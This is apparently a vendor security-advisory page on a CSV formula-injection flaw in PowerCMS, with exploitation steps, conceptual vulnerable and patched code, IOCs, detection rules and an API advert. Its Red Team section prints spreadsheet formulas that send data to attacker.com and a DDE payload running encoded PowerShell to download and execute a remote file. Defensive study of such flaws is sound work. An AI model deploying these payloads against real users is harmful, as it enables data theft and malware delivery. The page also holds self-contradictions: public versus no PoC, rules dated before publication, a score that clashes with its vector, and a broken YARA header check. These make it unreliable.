☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-1236
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54752

CVE-2025-54752 Security Advisory in Powercms
📅 PUBLISHED: 2025-07-31 07:21 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54752 is a CSV Injection vulnerability (CWE-1236) affecting multiple versions of PowerCMS. The vulnerability allows an authenticated attacker with content creation privileges to craft a malicious entry that, when exported as a CSV file and opened by a victim user, can execute arbitrary formulas (e.g., DDE, Excel 4.0 macros, or external web requests) within the victim's spreadsheet application. The CVSS score is 6.5 (Medium), but the actual risk is elevated due to the potential for credential theft, lateral movement, and data exfiltration via formula-based callbacks. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attacker can trigger the export remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required beyond standard user interaction.
  • Privileges Required (PR): Low (L) – Requires an authenticated user with content creation rights.
  • User Interaction (UI): Required (R) – Victim must open the CSV file in a spreadsheet application.
  • Scope (S): Unchanged (U) – The impact remains within the victim's local environment.
  • Confidentiality (C): High (H) – Potential for data exfiltration via formula callbacks.
  • Integrity (I): High (H) – Formulas can modify or delete data.
  • Availability (A): High (H) – Formulas can crash or corrupt the spreadsheet.

Threat Level: Medium-High. While the CVSS base score is 6.5, the real-world impact is significant due to the prevalence of CSV file sharing in enterprise environments and the difficulty of detecting formula-based attacks.

Deep Dive & Mechanics

The vulnerability resides in PowerCMS's CSV export functionality. When a user exports content (e.g., blog posts, user lists, or custom fields) to CSV, the application fails to sanitize or escape formula-prefixed strings. In spreadsheet applications (Microsoft Excel, LibreOffice Calc, Google Sheets), cells beginning with =, +, -, or @ are interpreted as formulas.

Attack Flow:

  1. An attacker with content creation privileges creates a new entry (e.g., a blog post title or custom field) containing a malicious formula, such as =CMD|'/C calc'!A0.
  2. The attacker then exports the list of entries to CSV.
  3. The attacker distributes the CSV file to a victim (e.g., via email, shared drive, or download link).
  4. The victim opens the CSV file in a spreadsheet application.
  5. The spreadsheet executes the formula, which may:
    • Launch a local application (e.g., calculator, command prompt).
    • Execute a DDE (Dynamic Data Exchange) command to download and run malware.
    • Use =HYPERLINK() to exfiltrate data to an attacker-controlled server.
    • Use =WEBSERVICE() (Excel 2013+) to send HTTP requests.

Key Technical Details:

  • The vulnerability is triggered during CSV export, not during data entry.
  • The attacker does not need to be an administrator; any user with "create" or "edit" permissions on exportable content can exploit this.
  • The attack is blind to the server; the malicious payload is only executed on the client side.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// PowerCMS export function (simplified)
function exportToCSV($entries) {
    $csv = fopen('php://output', 'w');
    foreach ($entries as $entry) {
        fputcsv($csv, [$entry['title'], $entry['body']]);
    }
    fclose($csv);
}

The fputcsv() function does not escape leading =, +, -, or @ characters.

Patched Code (Conceptual):

function exportToCSV($entries) {
    $csv = fopen('php://output', 'w');
    foreach ($entries as $entry) {
        // Escape formula injection characters
        $safeTitle = preg_replace('/^([=+\-@])/', "'$1", $entry['title']);
        $safeBody = preg_replace('/^([=+\-@])/', "'$1", $entry['body']);
        fputcsv($csv, [$safeTitle, $safeBody]);
    }
    fclose($csv);
}

The patch prepends a single quote (') to any cell starting with a formula character, forcing the spreadsheet to treat it as text.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • PowerCMS (any vulnerable version) installed on a local server (e.g., XAMPP, Docker).
  • Attacker machine with a web browser and content creation access.
  • Victim machine with Microsoft Excel or LibreOffice Calc.

Exploitation Steps:

  1. Log in to PowerCMS as a user with content creation privileges.
  2. Create a new entry (e.g., a blog post) with the following title:
    =HYPERLINK("http://attacker.com/steal?data="&A1,"Click here")
    
    (Replace A1 with a cell reference containing sensitive data, or use =WEBSERVICE("http://attacker.com/log?exfil="&A1) for Excel 2013+.)
  3. Export the entries list as CSV.
  4. Send the CSV file to the victim (e.g., via email or shared link).
  5. When the victim opens the CSV, the formula executes, potentially exfiltrating data or launching malware.

Advanced Payload (DDE):

=CMD|'/C powershell -NoP -NonI -W Hidden -Exec Bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AYwBvAG0ALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwApAA=='!A0

This DDE payload launches a PowerShell command to download and execute a payload from a remote server.

Blue Team (Defensive)

Detection & Prevention:

  1. User Awareness: Train users to never enable macros or click "Enable Content" in CSV files from untrusted sources.
  2. CSV Sanitization: Implement server-side sanitization (as shown in the patched code) to prepend a single quote to formula-prefixed cells.
  3. Content Security Policy (CSP): For web-based spreadsheet viewers, use CSP headers to block external connections.
  4. File Extension Blocking: Block .csv files from external emails or restrict their execution.
  5. Endpoint Detection: Deploy EDR rules to detect cmd.exe, powershell.exe, or wscript.exe launched from spreadsheet applications.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (None available – no public exploit)
  • Network Indicators:
    • Outbound HTTP/HTTPS requests to unknown domains from spreadsheet applications (e.g., EXCEL.EXE making connections to attacker.com).
    • DNS queries for suspicious domains initiated by EXCEL.EXE or SOFTWARE.EXE.
  • Process Indicators:
    • EXCEL.EXE spawning cmd.exe, powershell.exe, or wscript.exe.
    • EXCEL.EXE making outbound network connections.
  • File Indicators:
    • CSV files containing cells starting with =, +, -, or @.
    • CSV files with DDE or HYPERLINK formulas.

Detection Engineering

YARA Rule

rule CVE_2025_54752_CSV_Injection {
    meta:
        description = "Detects CSV files with potential formula injection patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54752"
    strings:
        $formula1 = /^[=+\-@]/ ascii wide nocase
        $formula2 = "=HYPERLINK(" ascii wide nocase
        $formula3 = "=WEBSERVICE(" ascii wide nocase
        $formula4 = "=CMD|" ascii wide nocase
        $formula5 = "=DDE" ascii wide nocase
    condition:
        (uint32(0) == 0x46435356 or uint32(0) == 0x435356) and
        (#formula1 > 0 or #formula2 > 0 or #formula3 > 0 or #formula4 > 0 or #formula5 > 0)
}

Sigma Rule

title: CSV Formula Injection via PowerCMS Export
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects CSV files exported from PowerCMS containing formula injection patterns
author: Valters IT
date: 2025/04/10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '.csv'
        TargetFilename|contains: 'PowerCMS'
    formula_patterns:
        - '=HYPERLINK('
        - '=WEBSERVICE('
        - '=CMD|'
        - '=DDE'
    condition: selection and formula_patterns
falsepositives:
    - Legitimate use of formulas in CSV files
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54752 CSV Formula Injection - Potential Exfiltration"; flow:to_server; content:"=HYPERLINK("; nocase; content:"http"; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable CSV Export: Temporarily disable the CSV export functionality in PowerCMS until a patch is applied.
  2. Input Validation: Implement server-side sanitization to prepend a single quote (') to any cell starting with =, +, -, or @.
  3. User Training: Educate users on the risks of opening CSV files from untrusted sources.

Long-Term Fix:

  • Apply the official patch from PowerCMS when available.
  • Consider using a more secure export format (e.g., XLSX with macros disabled) or a dedicated reporting tool.

Workarounds:

  • Use a web-based CSV viewer that sanitizes formulas (e.g., Google Sheets with "Protected sheets and ranges").
  • Configure Group Policy to disable DDE in Excel (Registry: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Options\DDEAllowed).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

PowerCMS
Powercms csv

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54752/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.